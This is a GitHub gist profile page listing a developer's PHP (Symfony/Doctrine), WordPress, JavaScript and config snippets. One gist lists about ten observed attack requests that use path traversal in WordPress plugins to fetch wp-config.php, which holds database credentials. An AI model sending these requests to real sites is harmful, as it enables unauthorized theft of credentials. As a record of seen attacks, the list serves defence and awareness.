Skip to content

Instantly share code, notes, and snippets.

View meshenka's full-sized avatar
🎯
Learning #golang

Sylvain G meshenka

🎯
Learning #golang
  • Lydia App
  • Paris
View GitHub Profile
@meshenka
meshenka / gist:9836117
Created March 28, 2014 15:56
[PDOException] SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'spread-Nm\SearchBu ndle\Entity\User-4-GLOBAL' for key 'PRIMARY'
<?php
namespace Nm\SearchBundle\Command;
use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Nm\SearchBundle\Entity\GroupNotification;
use Nm\SearchBundle\Entity\UserNotification;
use Nm\SearchBundle\Entity\User;
use Nm\SearchBundle\Entity\Action;
@meshenka
meshenka / gist:2509309a98b18bbadac4
Created July 10, 2015 09:04
Je crois qu'on en veux à mon wp-config
/wp-admin/admin-ajax.php?action=fe_get_sv_html&video=../wp-config.php
/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php
/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php
/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
/wp-content/force-download.php?file=../wp-config.php
/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php
/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
/wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php
/wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=../../../wp-config.php
@meshenka
meshenka / header.php
Created July 29, 2015 13:26
Et wp_enqueue_style() c'est pour les chiens?
<?php gravity_form_enqueue_scripts( 1, true ); ?>
<?php gravity_form_enqueue_scripts( 2, true ); ?>
<?php wp_head(); ?>
<link rel="stylesheet" type="text/css" href="//cloud.typography.com/7530932/746146/css/fonts.css" />
<link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/normalize.css">
<link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/main.css">
<link rel="stylesheet" href="<?php echo get_template_directory_uri(); ?>/css/style.css">
<script src="<?php echo get_template_directory_uri(); ?>/js/lib/modernizr.js"></script>
@meshenka
meshenka / Actions.js
Created February 28, 2016 21:22 — forked from amcdnl/Actions.js
import { action } from 'common/utils/redux/redux';
@action
export class Actions {
static types = {
set3d: Symbol('set3d')
};
static set3d(val) {
@meshenka
meshenka / index.html
Created March 3, 2016 21:03 — forked from anonymous/index.html
JS Bin test transformation // source https://jsbin.com/bikeci
<!DOCTYPE html>
<html>
<head>
<meta name="description" content="test transformation">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
@meshenka
meshenka / LICENSE
Created July 19, 2016 14:07 — forked from jdennes/LICENSE
Subscribing to a Campaign Monitor list using AJAX
The MIT License (MIT)
Copyright (c) James Dennes
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
@meshenka
meshenka / Product.php
Created February 6, 2019 14:03
Field Mapping issue Sf 4.2
namespace App\Domain\Model;
abstract class Product implements ProductInterface {
/**
* @var int
*/
protected $id;
/**
@meshenka
meshenka / Product.orm.xml
Last active February 7, 2019 10:31
Mapped Super Abstract Class
<?xml version="1.0" encoding="UTF-8"?>
<doctrine-mapping xmlns="http://doctrine-project.org/schemas/orm/doctrine-mapping"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://doctrine-project.org/schemas/orm/doctrine-mapping
https://www.doctrine-project.org/schemas/orm/doctrine-mapping.xsd">
<mapped-superclass name="App\Domain\Model\Product">
<field name="name"
type="string"
#config/packages/demo.yaml
parameters:
# see https://symfony.com/doc/current/configuration/environment_variables.html#environment-variable-processors
env(MY_DISPATCH_EVENTS): true
services:
App\Demo\DemoService:
bind:
$dispatchEvents: '%env(bool:MY_DISPATCH_EVENTS)%'
@meshenka
meshenka / MemberProduct.php
Created July 19, 2019 09:33
onFlush Doctrine event
<?php
declare(strict_types=1);
namespace App\Membership\Entity;
use App\Application\Annotation\Legacy;
use Doctrine\ORM\Mapping as ORM;
/**